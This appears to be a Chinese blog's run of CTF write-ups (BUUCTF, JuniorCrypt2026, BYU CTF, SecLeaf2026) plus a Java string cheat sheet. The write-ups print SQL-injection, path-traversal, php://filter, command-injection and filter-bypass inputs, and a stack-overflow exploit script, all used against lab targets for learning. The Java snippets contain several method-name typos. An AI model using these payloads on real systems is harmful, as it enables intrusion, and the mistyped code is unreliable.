`assert()` 执行失败（500）	PHP 7.2+ 中 `assert()` 字符串求值被废弃/禁用	改用 `system` 作为 filter 直接执行命令
输出截断看不清	Console 默认折叠长输出	展开折叠区域，或搜索 "flag"

总结

这是一个PHP反序列化漏洞的综合利用，涉及以下考点：

PHP 反序列化基础：unserialize() 处理不可信数据导致的安全风险
Gadget Chain 构造：利用 __toString() → __get() → call_user_func() 魔术方法链
类自动加载机制：PHP unserialize 时通过 spl_autoload_register 自动加载未定义的类
Cookie 编码问题：PHP $_COOKIE 的 URL-decode 特性对 Payload 的影响及修复
PHP 配置差异：assert() 在不同 PHP 版本中的行为差异，使用 system() 作为备选

BUUCTF新手村题单

Fri, 17 Jul 2026 00:00:00 GMT

Misc

01金三胖

CTF² 下载附件得到一份GIF文件，打开GIF文件看到中间会闪过疑似flag，于是分离GIF

sudo apt install imagemagick
convert aaa.gif frame_%03d.png

得到flag

02二维码

CTF² 先用QRCode扫码得到直接扫描并没有得到flag

 strings QR_code.png

于是binwalk提取得到1D7压缩包，尝试解压但是需要密码压缩包中的文件为4number.txt，所以密码很可能是4位纯数字，用fcrackzip爆破

fcrackzip -b -c 1 -l 4-4 -u 1D7.zip

接下来继续解压缩得到txt文件，进而得到flag

03N种方法解决

CTF² 先检查文件类型

file KEY.exe

得到结果说明它实际上是txt文本文件接下来查看文件头

head -c 100 KEY.exe

文件类型：jpg图片 + Base64编码的图片数据

sed 's/^data:image\/[^;]*;base64,//' KEY.exe | base64 -d > key.png

解码得出一张二维码但原二维码比较小且缺乏足够的白色边缘，需要放大并添加白边

agick key.png -filter point -resize 800% \

再用扫码工具扫码

04大白

CTF² 打开图片发现只有上半截，于是修改宽高

05你竟然赶我走

CTF² 从文件中提取能直接显示的可读字符串

strings biubiu.jpg

在输出中直接看到flag

Web

06[极客大挑战 2019]Havefun

CTF² 网页会读取URL中名为cat的参数，当参数值等于dog时输出flag 于是在URL后面加上

?cat=dog

07[极客大挑战 2019]EasySQL

CTF² 打开题目后看到一个登陆页面，需要输入用户名和密码。先随便输入，发现URL有变化

[check](https://91a88c5879123e7a80f3577f.http-ctf2.dasctf.com/check.php?username=1&password=1)

所以这道题目是直接将用户输入的用户名和密码直接拼接到SQL查询语句中，例如

SELECT * FROM users WHERE username='$username' AND password='$password';

在用户名中输入单引号页面出现SQL语法错误，说明输入的单引号被拼接进了SQL语句，因此存在SQL注入漏洞

构造Payload

原理分析

将输入内容带入后，SQL语句变成

SELECT * FROM users
WHERE username='admin' or 1=1#'
AND password='1';

其中

admin'

用于提前闭合用户名外面的单引号

or 1=1

加入一个永远成立的条件，因为1=1始终为真

将后面的密码判断和多余的单引号全部注释掉

所以将判断条件变成

用户名是adimin或者1等于1

所以登陆成功，显示flag

08[HCTF 2018]WarmUp

CTF² 查看源码，看到有文件source.php 于是访问source.php 代码中存在白名单

$whitelist = [
    "source" => "source.php",
    "hint" => "hint.php"
];

说明程序允许访问source.php与hint.php 程序会接受file参数，

$_REQUEST['file']

通过检查后执行

include $_REQUEST['file'];

也就是将用户传入的文件夹包含进来，于是访问

/index.php?file=hint.php

尝试直接访问因为ffffllllaaaagggg不在白名单中，所以无法访问分析白名单检查漏洞

$_page = mb_substr(
    $page,
    0,
    mb_strpos($page . '?', '?')
);

if (in_array($_page, $whitelist)) {
    return true;
}

这段代码会取出传入内容中第一个 ? 前面的部分，然后判断它是否在白名单中。于是构造payload

/index.php?file=hint.php?/../../../../../../ffffllllaaaagggg

程序检查时读取?前面的hint.php，读取通过后面的/../../../../../../返回上级目录，最后读取ffffllllaaaagggg文件

09[ACTF2020 新生赛]Include

CTF² 打开靶机地址，看到有个tips，点击进去地址栏中看到

?file=flag.php

说明网页读取了一个file的参数，并用它加载文件

因为服务器会把flag.php当作程序执行，并不会显示源代码，但flag可能藏在注释中，所以直接访问并不会显示flag

使用 `php://filter`

将file后面的内容修改为

php://filter/read=convert.base64-encode/resource=flag.php

将显示出来的字符用Base64解密

Payload含义

php://filter

表示使用PHP过滤协议

read=convert.base64-encode

读取文件时将内容转换为Base64

resource=flag.php

读取的目标文件是flag.php

10 [ACTF2020 新生赛]Exec

CTF² 打开靶机地址看到一个要求输入IP地址的画面，先输入

127.0.0.1

这一步确认网页确实在调用ping 在输入框中输入

127.0.0.1;ls

查看根目录

127.0.0.1;ls /

于是读取flag

127.0.0.1;cat /flag

出现了flag

Reverse

11easyre

先检查文件

file easyre.exe

说明是一个Windows可执行程序检查可读字符串

strings easyre.php | grep -i flag

找到了flag

12reverse1

CTF² 判断文件类型

file reverse_1.exe

结果显示

PE32+ executable
x86-64
Windows console

也就是一个64位Windows控制台程序，看起来没有加壳，并且保留了调试信息查看可疑字符串

strings reverse_1.exe | grep -Ei "flag|input|right|wrong"

输出中并没有直接出线最终flag，所以要继续查看程序的判断逻辑用IDA打开程序双击main_0，进去后点击F5 看程序，程序会把字符串中的所有字母o替换成数字0

{hello_world}
    ↓
{hell0_w0rld}

程序随后读取输入并比较字符串所以正确输入为

{hell0_w0rld}

所以flag：

flag{hell0_w0rld}

13reverse2

CTF² 检查文件 Linux的ELF文件先试这个，但显然不对子进程中将

i → 1
r → 1

所以子进程修改后的flag是

{hack1ng_fo1_fun}

在Kali中进行验证

最终提交

这类题通常提交子进程变换后的结果

flag{hack1ng_fo1_fun}

Crypto

14看我回旋踢

CTF² 附件给了字符串，结合题目提示“得到的flag请包上flag{}提交”猜测synt对应flag

#!/usr/bin/env python3
import sys

def rot13_keep_digits(text: str) -> str:
    """
    对文本进行 ROT13 解密（字母移位 13 位）。
    数字、标点等字符保持原样，不做任何转换。
    """
    result = []
    for char in text:
        if 'a' <= char <= 'z':
            # 小写字母 a..z 循环移 13 位
            result.append(chr((ord(char) - ord('a') + 13) % 26 + ord('a')))
        elif 'A' <= char <= 'Z':
            # 大写字母 A..Z 循环移 13 位
            result.append(chr((ord(char) - ord('A') + 13) % 26 + ord('A')))
        else:
            # 数字、空格、标点等保持原样
            result.append(char)
    return ''.join(result)

def main():
    ciphertext = sys.stdin.read()
    plaintext = rot13_keep_digits(ciphertext)
    sys.stdout.write(plaintext)

if __name__ == '__main__':
    main()

15Quoted-printable

=E9=82=A3=E4=BD=A0=E4=B9=9F=E5=BE=88=E6=A3=92=E5=93=A6

之前都不知道还有Quoted-printable编码😄

16变异凯撒

CTF² 传统凯撒密码为固定移位，但是本题根据传统凯撒无法从afZ_解出flag

密文字符	密文 ASCII	推测明文字符	明文 ASCII	差值（偏移量）
`a`	97	`f`	102	+5
`f`	102	`l`	108	+6
`Z`	90	`a`	97	+7
`_`	95	`g`	103	+8
`r`	114	`{`	123	+9
所以可以推出解密规则

对密文第 i 个字符（i 从 0 开始），将 ASCII 码加上 (i + 5)，即可得到明文字符。

cipher = "afZ_r9VYfScOeO_UL^RWUc"
plain = ""

for i in range(len(cipher)):
    offset = i + 5
    plain += chr(ord(cipher[i]) + offset)

print(plain)

JuniorCrypt2026的WP

Sun, 12 Jul 2026 00:00:00 GMT

Misc

1000-7

题目描述

有些旋律会一直留在你的脑海里。
有些旋律则会在离开后留下别的东西。

解题思路

检查文件

先检查附件，其后缀为 .mid，所以存储的是MIDI指令/事件，它通常会记录

什么时候按下哪个音符
什么时候松开
按键力度多大
使用什么乐器
音量是多少
音高怎么变化
节拍和速度是多少

同时又根据题目“有些旋律会在离开后留下别的东西”，所以数据被隐藏在MIDI文件中

安装读取MIDI的Python库

sudo apt update
sudo apt install python3-mido -y

观察MIDI中有什么

新建文件

check.py

打开后写入

from mido import MidiFile
from collections import Counter

# 打开 MIDI 文件
midi = MidiFile("chal.mid")

print("MIDI 类型：", midi.type)
print("轨道数量：", len(midi.tracks))

for number, track in enumerate(midi.tracks):
    print("\n轨道编号：", number)
    print("轨道名称：", track.name)

    # 统计每一种 MIDI 消息出现了多少次
    types = []

    for message in track:
        types.append(message.type)

    print("消息类型统计：")
    print(Counter(types))

保存后运行

python3 check.py

从中我们可以看出

MIDI类型：1   ——  文件中可以包含多条轨道，各轨道分别保存不同内容，但共用同一时间轴。
轨道数量：2  ——  文件共有两条轨道，轨道0和轨道1

轨道0：
名称：Unravel - Tokyo Ghoul
包含事件：
	track_name：1  ——  曲目名称
	set_tempo：1  ——  音乐速度
	end_of_track：1  ——  轨道结束标记
因此，轨道0没有实际内容，只保存曲名和速度等全局信息

轨道1：实际演奏内容
其中：
	note_on：2015  ——  按下
	note_off：2015  ——  松开
但是
	pitchwheel：752  ——  752个弯音轮（临时升高或降低音高）事件，这里的pitchwheel事件数量过多十分可疑
其他消息：
	control_change：6  ——  控制音量、踏板等参数
	program_change：1  ——  切换乐器音色
	time_signature：1  ——  拍号，例如4/4拍
的数量都比较少，看起来比较正常

所以当前最重要的是提取这752个pitchwheel，看看它们有哪些数值以及是否存在规律

查看pitchwheel具体数值

新建python文件check2.py

from mido import MidiFile
from collections import Counter

midi = MidiFile("chal.mid")

pitch_values = []

# 遍历所有轨道和所有 MIDI 消息
for track in midi.tracks:
    for message in track:

        # 只提取 pitchwheel 弯音事件
        if message.type == "pitchwheel":
            pitch_values.append(message.pitch)

print("pitchwheel 总数量：", len(pitch_values))

print("不同数值及出现次数：")
print(Counter(pitch_values))

print("前 30 个 pitchwheel 数值：")
print(pitch_values[:30])

运行后得到从结果我们可以看出

pitchwheel总数量：752
数值有：2304  -2304且二者的出现次数都为376

同时也可以猜测有两种组合：

(2304, -2304)
(-2304, 2304)

统计两种组合

新建文件check3.py

from mido import MidiFile
from collections import Counter

midi = MidiFile("chal.mid")

pitch_values = []

# 提取所有 pitchwheel 数值
for track in midi.tracks:
    for message in track:
        if message.type == "pitchwheel":
            pitch_values.append(message.pitch)

pairs = []

# 每两个数值组成一组
for i in range(0, len(pitch_values), 2):
    first = pitch_values[i]
    second = pitch_values[i + 1]

    pairs.append((first, second))

print("总共有多少组：", len(pairs))

print("不同组合及出现次数：")
print(Counter(pairs))

print("前 20 组：")
print(pairs[:20])

从输出结果可以看出：

总共有376组
只有两种组合：(2304，-2304)出现了193次；(-2304，2304)出现了183次

说明作者是故意让两个相反的弯音值组成一组，刚好可以表示0和1 另外，

376/8 = 47

也就是说，这些数据可以组成47个字节。ASCII文本通常一个字节对应一个字符，所以很可能藏有47个字符的文本

将两种组合转换成文本0和1

from mido import MidiFile

midi = MidiFile("chal.mid")

pitch_values = []

# 提取所有 pitchwheel 的数值
for track in midi.tracks:
    for message in track:
        if message.type == "pitchwheel":
            pitch_values.append(message.pitch)

bits = ""

# 每两个数值作为一组
for i in range(0, len(pitch_values), 2):
    pair = (pitch_values[i], pitch_values[i + 1])

    # 先上升再下降，记为 1
    if pair == (2304, -2304):
        bits += "1"

    # 先下降再上升，记为 0
    elif pair == (-2304, 2304):
        bits += "0"

    # 出现其他组合就报出来
    else:
        print("发现异常组合：", pair)

print("二进制位数：", len(bits))

print("完整二进制：")
print(bits)

print("\n每 8 位分成一组：")

for i in range(0, len(bits), 8):
    print(bits[i:i + 8], end=" ")

print()

每8位试着转换成一个字符

11000000  → 192，干扰字符
11011110  → 222，干扰字符
00101010  → *
01100111  → g
01110010  → r
01101111  → o
01100100  → d
01101110  → n
01101111  → o
01111011  → {

因此后面很明显出现

grodno{

与flag格式相符，说明我们的解码方向正确

每八位转换成字符

from mido import MidiFile

midi = MidiFile("chal.mid")

pitch_values = []

# 提取所有 pitchwheel 数值
for track in midi.tracks:
    for message in track:
        if message.type == "pitchwheel":
            pitch_values.append(message.pitch)

bits = ""

# 每两个 pitchwheel 事件转换成一个二进制位
for i in range(0, len(pitch_values), 2):
    pair = (pitch_values[i], pitch_values[i + 1])

    if pair == (2304, -2304):
        bits += "1"

    elif pair == (-2304, 2304):
        bits += "0"

# 保存解码后的文本
text = ""

# 每 8 位二进制转换成一个字符
for i in range(0, len(bits), 8):
    one_byte = bits[i:i + 8]

    # 把二进制转换成十进制
    number = int(one_byte, 2)

    # 把十进制转换成字符
    character = chr(number)

    text += character

print("解码结果：")
print(repr(text))

所以最终flag为

grodno{U1tr@_m3g@_5up3r_Gul_M1d_SF_1000-7}

Ghost Layers

题目描述

What stays visible is not always what matters most.
一直可见的东西，并不总是最重要的。

解题思路

检查文件

查看文件后缀为.svg文件

.svg是一种矢量图片文件，全称是：
Scalable Vector Graphics（可缩放矢量图形）
SVG通常用代码描述图形，例如线条、圆形、颜色和文字
特点：
	放大不会模糊；
	文件通常比较小；
	可用浏览器直接打开；
	可以修改颜色、大小和形状；
	本质上是一种XML文本文件，可以用VS Code、记事本打开查看代码
	可以通过CSS或JavaScript添加动画和交互
SVG内部可以包含脚本代码

寻找隐藏数据

SVG中通常会在

mask        蒙版
clipPath    裁剪
opacity     透明度
display     是否显示
visibility  是否可见
defs        只定义、不直接显示

中隐藏数据于是先用VS Code打开文件，再用CTRL+F搜索“mask”，找到名字为“mk9”的蒙版

<mask id="mk9">
    <rect x="0" y="0"
          width="577"
          height="635"
          fill="black"/>

    <polyline points="..."
              stroke="white"
              .../>
</mask>

这里可以理解为

黑色区域：隐藏
白色区域：显示
灰色区域：部分显示

这里先使用黑色矩形遮住整个画布，然后指通过一些白色线条显示少量内容，因此隐藏图形很难被观察到

找到使用蒙版的图层

从中我们可以看到信息：

<g id="ghost-wash"
   opacity="0.72"   ——  降低透明度
   mask="url(#mk9)"  ——  使用蒙版mk9
   filter="url(#glowSoft)">  ——  使用发光、模糊效果

同时还有

clip-path="url(#cp4)"

说明真正决定图形轮廓的可能是cp4

分析cp4的裁剪路径

搜索

id="cp4"

引用id为s17的图形，并把它作为裁剪区域于是继续搜索

id="s17"

找到

<g id="s17">
    <g transform="translate(62.500,454.000)
                  scale(0.009400,-0.009400)"
       fill="#f8efc9"
       stroke="#f8efc9"
       stroke-width="36"
       stroke-linejoin="round">

        <path d="..."/>
        <path d="..."/>
        ...
    </g>
</g>

s17 内部包含大量 <path> 标签。这些路径不是随机数据，而是由文字转换得到的矢量轮廓。也就是说，隐藏的 Flag 已经被转换为一组路径，所以直接搜索：

grodno

无法找到明文

隐藏原理

s17
│
│ 保存 Flag 文字的矢量路径
↓
cp4
│
│ 将 s17 作为裁剪形状
↓
ghost-wash
│
│ 只在 Flag 文字内部绘制渐变和线条
↓
mk9
│
│ 再通过蒙版遮挡绝大部分区域
↓
glowSoft + opacity
│
│ 添加发光并降低透明度
↓
Flag 变得若隐若现

于是试图直接显示隐藏图层

EXP

先将原文件复制一份用VS Code打开文件，跳转到结尾，找到

</svg>

在其前面加上

<rect x="0"
      y="390"
      width="577"
      height="110"
      fill="black"/>

<use href="#s17"/>

保存文件后用浏览器打开即可看见flag

Java字符串操作

Sun, 12 Jul 2026 00:00:00 GMT

Java考试前的补天

String

判断字符串相等

//判断字符串相等
String s = "abc";
if(s.equals("abc")){
	System.out.println("字符串相等");
}

取某个位置的字符

常用于遍历字符串

String str = "hello";
char ch = str.charAt(0);  //'h'

长度

str.length()  //字符串长度
arr.length  //数组长度
list.size()  //集合长度

判断是否包含

String str = "hello world";
if(str.contains("world")){
	System.out.println("包含world");
}

判断开头结尾

String str = "Hello world";

str.startWith("Hello");  //是否以Hello开头
str.endWith("world");  //是否以world结尾

截取字符串

String str = "abcdef";
String s1 = str.substring(2);  //cdef
String s2 = str.substring(1,4);  //bcd

查找位置——indexOf

String str = "hello";

int index = str.indexOf("e");
//返回下标1；找不到返回-1

替换字符串——replace()

String str = "hello";
String newstr = str.replace("l","x"); 
System.out.println(newstr);  //hexxo

去掉首尾空格——trim()

String str = " hello";
str = str.trim();  //"hello"

大小写转换

String str = "Hello";
System.out.println(str.toUpperCase());  //HELLO
System.out.println(str.toLowerCase());  //hello

char

判断是否是数字

char ch = '5';
if(Character.isDigit(ch)){
	System.out.println("是数字");
}

判断是否是字母

char ch = 'A';
if(Character.isLetter(ch)){
	System.out.println("是字母");
}

判断大小写字母

Character.isUpperCade(ch);  //是否大写
Character.isLowerCase(ch);  //是否小写

大小写转换

char ch = 'a';
char upper = Character.toUpperCase(ch);

字符转整数

char ch = 'a';
int num = ch - '0';

StringBuilder

创建StringBuilder

StringBuilder sb = new StringBuilder()'

追加内容

result.append("hello");
System.out.println(result.toString());

反转字符串——判断回文

StringBuilder sb = new StringBuilder("abc");
sb.reverse();
System.out.println(sb);  //cba

//判断回文
String str = "aba";

String str2 = new StringBuilder(str).reverse().toString();

if(str.equals(str2)){
	System.out.println("是回文");
}

删除——deleteCharAt()

StringBuilder sb = new StringBuilder("abc");
sb.deleteCharAt(1);  //ac

插入——insert()

StringBuilder sb = new StringBuilder("hllo");
sb.insert(1,"e");//hello

修改——secCharAt()

StringBuilder sb = new StringBuilder("abc");
sb.setCharAt(1,"x");  //axc

最后要转String

StringBuilder sb = new StringBuilder();

sb.append("abc");

String result = sb.toString();

BYU CTF的WriteUp

Mon, 01 Jun 2026 00:00:00 GMT

`Misc`

`1.Inception`

题目描述

I found this weird file on my computer. I tried opening it, but there were some problems.

解题思路

1‍⃣首先对附件进行检查附件为png图片，所以复制附件并添上后缀，得到第一部分的flag

byuctf{wh4t_

2‍⃣同时用binwalk检查并提取隐藏内容提取出来的有：

4F3 4F3.zlib
29 29.zlib
337.zip data.bin

分别读取各附件得到flag

从data.bin得到flag的第二部分
	th3
从4F3中得到第三部分
	_fr3ak}

最终flag为

byuctf{wh4t_th3_fr3ak}

`2.Easy`

题目描述

Okay, easy mode is turned on. You know how to use bash, right?

chals.cyberjousting.com:1370

解题思路

1‍⃣首先使用nc连接题目服务输入pwd测试当前目录根据返回结果得知当前工作目录在/app 2‍⃣发现过滤规则尝试查看当前目录文件，但根据返回的报错可以看出：题目服务会删除命令中的空格 3‍⃣绕过空格过滤用${IFS}代替空格使用但还是会报错：说明不能直接使用普通外部命令 4‍⃣使用 bash 内置功能列目录

`3.Chromatic`

题目描述

（一份mp4文件）

解题思路

先检查mp4文件根据

30 fps
54 秒

可以看出是一秒一张图片，同时看视频内容可以猜测：每一秒的红色数值，正好能转成一个字符。

`EXP`

import subprocess
import collections

video = "chromatic.mp4"

# 取视频左上角 1x1 像素，每帧输出 RGB
cmd = [
    "ffmpeg",
    "-v", "error",
    "-i", video,
    "-vf", "crop=1:1:0:0,format=rgb24",
    "-f", "rawvideo",
    "-"
]

data = subprocess.check_output(cmd)

# 每帧 3 个字节：R G B
r_values = [data[i] for i in range(0, len(data), 3)]

fps = 30
flag = ""

# 每 30 帧，也就是每 1 秒取一次
for i in range(0, len(r_values), fps):
    block = r_values[i:i+fps]

    # 取这一秒出现最多的红色值
    r = collections.Counter(block).most_common(1)[0][0]

    # 红色值转 ASCII 字符
    flag += chr(r)

print(flag)

SecLeaf2026的WP

Sat, 23 May 2026 00:00:00 GMT

先叠个甲：

这是一场很水的比赛
内容也很基础，没有技术含量

`Misc`

1.`Digital Rockstar`

题目描述

Some programmers write code. Others write poetry.
Can you understand this digital rockstar?
> every space matters.also i is not i
Flag Format: SecLeaf{}

有些程序员编写代码，另一些则书写诗篇。
你能读懂这位“数字摇滚巨星”吗？
每一个空格都至关重要；此外，“i”亦非彼“i”。

（附件内容）
Midnight is Sec
Shadow is leaf
Chaos is poetry 
Neon is is fun

Dreams are Midnight with Shadow with Chaos with Neon

Say Dreams

解题思路

1‍⃣识别语言: 根据文件拓展名.rock与代码风格（类似歌词的语法），可以识别出这是"Rockstar"语言

Rockstar 是一门专门为创意程序员设计的动态类型、图灵完备的“纵欲型”编程语言。它的语法完全基于 20 世纪 80 年代重摇滚和强力情歌（Power Ballads）的歌词 convention 编写，这意味着你的代码即可以是程序，同时也是一首完整的摇滚歌曲。

2‍⃣了解语法： Rockstar 语言的关键特性：

is / are / was：变量赋值
with：字符串拼接
Say / Shout / Whisper：输出
Poetic Numbers（诗意数字）：当赋值语句右侧不以数字或关键字开头时，每个单词的字母数会被解析为十进制数字（忽略空格和非字母字符）

3‍⃣尝试标准解析： 按照 Rockstar 标准的 poetic number 规则解析：

变量	右侧内容	字母数 → 数字
Midnight	`Sec`	3 → `3`
Shadow	`leaf`	4 → `4`
Chaos	`poetry`	6 → `6`
Neon	`is` `fun`	2, 3 → `23`

拼接结果：34623 — 这显然不是 flag。

4‍⃣分析异常与提示： 仔细观察代码，发现两处异常：

第 3 行：Chaos is poetry — poetry 后面有一个多余的空格
第 4 行：Neon is is fun — 出现了两个 is

结合提示 "every space matters" 和 "i is not i"，可以推断：

不要使用 Rockstar 的标准 poetic number 解析
将 is 右侧的内容视为原始字符串
将字母 i 替换为数字 1

5‍⃣按原始字符串解析： 将每个变量 is 右侧的内容作为原始字符串提取（保留所有空格和字符）：

变量	右侧原始字符串
`Midnight`	`Sec`
`Shadow`	`leaf`
`Chaos`	`poetry` （含尾部空格）
`Neon`	`is fun`（第二个 `is` 开始）
拼接后得到：`Secleafpoetry is fun`
同时将`i`替换为`1`，最后的`flag`

SecLeaf{poetry_1s_fun}

2.`The Invoice Incident`

题目描述

The Invoice Incident

At 09:14 AM, a finance employee reported receiving an urgent invoice email. Shortly after, suspicious activity began on the host.

You have been provided mail and endpoint logs collected during the incident.

Analyze the logs carefully, determine the malicious attachment responsible for the compromise, and submit the flag.

发票事件

上午 09:14，一名财务人员报告收到了一封紧急发票邮件。此后不久，主机上便出现了可疑活动。

您已获提供在此次事件期间收集的邮件日志及终端日志。

请仔细分析这些日志，找出导致系统沦陷的恶意附件，并提交 Flag。

解题思路

事件起点：At 09:14 AM + receiving an urgent invoice email，九点十四分收到邮件，所以先找09：14左右的邮件

grep -i "invoice" *

由此我们可以看出：

发件人：billing@micr0soft-support.com
收件人：finance.aarti
主题：Pending Invoice Notice
附件：Invoice_April_2026.docm

初步判定这个就是可疑邮件

1‍⃣该邮件与题目十分吻合；
2‍⃣发件人十分可疑——发件人邮箱中microsoft的o被替换成0；
3‍⃣附件很可疑——附件为.docm格式，攻击者经常把恶意命令藏在宏里

但是这样并不能完全确定，所以接下来查看endpoint日志（电脑行为日志）由日志可以看出：09：16时确实打开了Invoice_April_2026.docm文件，而紧接着启动了powershell并连接了198.51.100.24:80

PowerShell 是 Windows 上执行命令的工具。攻击者很喜欢用它下载恶意程序、执行脚本、连接远程服务器。
-enc 通常表示命令是 Base64 编码过的 PowerShell 命令。攻击者经常这样做，是为了让命令看起来不明显。

由以上信息我们可以判断，Invoice_April_2026.docm是导致可疑行为的恶意附件

SecLeaf{Invoice_April_2026.docm}

3.`wrong_turn`

题目描述

There is Secure vault which has hard coded flag in it.

Decrypt the password to unlock the vault.

Flag Format: SecLeaf{}

此处有一个安全保险库，其中硬编码了一个 Flag。

解密密码以解锁该保险库。

解题思路

1‍⃣先查看文件类型 结果为：

wrong_turn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), statically linked, no section header

所以可以看出

ELF 64-bit        64 位 Linux 可执行文件
x86-64            x86-64 架构
statically linked 静态链接
no section header 没有 section header，可能被处理/加壳过

所以这是一道Linux逆向题

2‍⃣ 运行程序 所以需要先给执行权限再运行

chmod +x wrong_turn
./wrong_turn

运行后需要输入密码，随便输入一个得到Access denied的结果，所以程序逻辑大概是：

检查调试器
    ↓
提示输入密码
    ↓
校验密码
    ↓
密码正确就输出 flag

3‍⃣先用Strings查看明文线索 能看到：

UPX!
Debugger check
Decrypting secure vault
Enter password:
Access gra
9Leaf{ha'\d
7Jts_agaZ}4

UPX——说明程序很可能被UPX加壳了

UPX（全称 Ultimate Packer for eXecutables）是一款免费、开源且跨平台的可执行文件压缩工具。它主要用于对二进制程序（如 .exe、.dll、.so 等）进行无损压缩，通常可将文件体积缩小%50至%70

9Leaf{ha'\d
7Jts_agaZ}4

这看起来像被扰乱过的 flag 片段，但不是完整明文。所以光靠 strings 不够，需要进一步分析程序运行后的真实内容。

4‍⃣对程序进行脱壳并运行

upx -d wrong_turn -o wrong_turn_unpacked
chmod +x wrong_turn_unpacked
./wrong_turn_unpacked

5‍⃣重新查找字符串

`OSINT`

`Can_you_Find_Cafe`

题目描述

A single image holds all the clues you need. Study the surroundings carefully and identify the exact location where it was taken. Accuracy matters.

Use "_" instead of spaces.

Flag Format: SecLeaf{Name_of_the_place+Location_name}

解题思路

用谷歌识图，选择 “外观匹配” 第一篇文章打开后得到这间咖啡店的简介根据内容即可得到flag

SecLeaf{Cafe_Goodluck+Deccan_Gymkhana}

`Forensics`

1.`Force-push-wont-save-you`

题目描述

A developer force-pushed several times before the repository was archived.

We suspect sensitive data may still exist somewhere in the project history.

Some objects may no longer be referenced.

Flag format: SecLeaf{}

在代码库归档之前，一位开发者多次强制推送了代码。

我们怀疑项目历史记录中可能仍然存在敏感数据。

某些对象可能已不再被引用。

解题思路

1‍⃣先将附件解压并查看里面包含的文件

unzip challenge.zip
cd force-push-wont-save-you
ls -la

解压后由.git，同时又结合题目

force-pushed several times
project history
objects may no longer be referenced

所以我们除了看当前文件，还要看Git历史与Git对象

2‍⃣先看当前文件

cat app.js

由

TODO REMOVE HARDCODED TOKEN

我们可以看出以前可能真的提交过敏感信息，但后来被删除了——所以继续查历史

3‍⃣查询所有能看到的提交历史

git log --oneline --all --decorate --graph

从"remove sensitive file before push"推测有删除，于是查看

git show 0fbc9b5:.env

所以这个不是真正的flag

或者也可以直接在所有正常历史里搜索flag

git grep -n "SecLeaf" $(git rev-list --all)

也不是真正的flag

4‍⃣根据题目说的“Some objects may no longer be referenced”，所以查 dangling objects

git fsck --full --no-reflogs --lost-found

分别查看commit与blob 但是这两个也是假的flag。到这里发现题目在故意引导只查Git历史与dangling objects，但这些都是假的

5‍⃣继续全局搜索整个目录 因为前面找到的全是假的flag，所以应该扩大范围

grep -RIn --binary-files=text "SecLeaf" .

2.`needle_in_context`

题目描述

During a failed forensic recovery attempt, several debug logs were partially reconstructed.

Investigators believe some entries may still contain fragments of sensitive data.

Be warned: not every recovery artifact is trustworthy.

Flag format: SecLeaf{}

在一次失败的取证恢复尝试中，部分调试日志被成功重建。

调查人员认为，某些日志条目可能仍然包含敏感数据片段。

请注意：并非所有恢复产物都可信。

解题思路

1‍⃣解压文件、查看文件内容：解压后看到大量的日志文件；同时根据题目可以看出：flag是拼接而成的，同时还会有很多假的flag

2‍⃣先搜索SecLeaf：

grep -RIn "SecLeaf" .

有搜索结果，但是这些都是{temporary_xxxxx}——无用的flag

3‍⃣搜索可能的碎片关键词 题目说

fragments of sensitive data
敏感数据碎片

所以继续搜索关键词

grep -RIn "fragment\|chunk\|recovered\|orphan\|cache\|last" .

在搜索出来的结果中看见了： 5365634c转成文本就是SeclL 所以接下来将搜索出来的hex转成文本，并从其中提取有效字符串，按合理的顺序拼接起来

grep -RIn "fragment\|chunk\|recovered\|orphan\|cache\|last" . \
| grep -Eo '[0-9a-fA-F]{8,}' \
| while read x; do echo "$x -> $(echo "$x" | xxd -r -p)"; done

SecLeaf{context_is_the_real_enemy}

`Web`

1.`Hidden_panel`

题目描述

We discovered a partially exposed internal web portal during reconnaissance.

Developers claimed sensitive endpoints were “properly hidden.”

Can you discover what was left behind?

Link: [https://s3.secleaf.tech/](https://s3.secleaf.tech/)

Flag format: SecLeaf{}

在侦察阶段，我们发现了一个部分暴露的内部 Web 门户。

开发人员声称，敏感端点已“妥善隐藏”。

你能否找出那些被遗留下的内容？

解题思路

1‍⃣先查看源码，并没有发现什么关于flag的线索 2‍⃣于是检查robots.txt，在最下面找到了flag

https://s3.secleaf.tech/robots.txt

`PWN`

1.`ret2win`

题目描述

A vulnerable SECLEAF access terminal was recovered from a decommissioned internal server.

The developers claimed the system was "unbreakable."

Can you prove otherwise?

Flag Format: SecLeaf{}

一个存在漏洞的 SECLEAF 访问终端已从一台已停用的内部服务器中恢复。

开发人员声称该系统“坚不可摧”。

你能证明他们的说法是错误的吗？

解题思路

1‍⃣先查看文件类型

file ret2win

得到的结果是：

ELF 64-bit LSB executable, x86-64

说明它是：

64位Linux可执行文件

ELF: Windows程序常见格式：PE，比如.exe Linux程序常见格式：ELF executable：可执行文件，即可以运行

2‍⃣看程序里有没有明显字符串

strings -a ret2win

其中：

Access Granted!
Flag:%s

非常像程序成功后会打印的内容结合题目名ret2win，可以推测程序里大概存在一个win函数用来打印flag

3‍⃣继续查看函数符号 继续使用nm查看函数名和地址

nm -n ret2win

可以看到：

0000000000401166 T decode
00000000004011b1 T win
000000000040123b T vuln
000000000040128d T main

这里重点关注两个函数：

win  地址：0x4011b1
vuln 地址：0x40123b

win函数就是我们想要跳转过去的目标函数

4‍⃣分析vuln函数 使用 objdump 反汇编：

objdump -d -M intel ret2win

找到vuln函数：

sub rsp,0x40
说明程序在栈上开辟了0x40字节空间 0x40换成十进制为64，也就是说：局部变量缓冲区大小为64字节

mov esi,0xc8
call fgets
0xc8换成十进制为200：说明程序用fgets最多读取200字节输入

也就是说：

缓冲区只有64字节，但程序允许输入200字节

这就造成了栈溢出

5‍⃣计算偏移量 64 位程序中，函数栈结构大概如下：

低地址
[ buffer 64 字节 ]
[ saved rbp 8 字节 ]
[ return address 8 字节 ]
高地址

程序的buffer位于：

[rbp-0x40]

所以buffer到返回地址之间需要填充：

64 字节 buffer + 8 字节 saved rbp = 72 字节

因此返回地址偏移量是：72; payload结构为：

"A" * 72 + win函数地址

6‍⃣构造payload 前面通过 nm 得到：

win = 0x4011b1

由于 x86-64使用小端序，所以地址 0x4011b1写入内存时应为：

b1 11 40 00 00 00 00 00

可以用 Python 的 struct.pack 来处理：

struct.pack("<Q", 0x4011b1)

其中：

< 表示小端序
Q 表示 8 字节无符号整数

最终 exp 如下：

import sys
import struct

payload = b"A" * 72
payload += struct.pack("<Q", 0x4011b1)

sys.stdout.buffer.write(payload + b"\n")

运行：

python3 exp.py | ./ret2win

7‍⃣获取flag 执行后程序成功跳转到 win 函数，输出：

Access Granted!
Flag: SecLeaf{sm4sh_th3_st4ck}

8‍⃣总结： 整体思路：

查看文件类型
        ↓
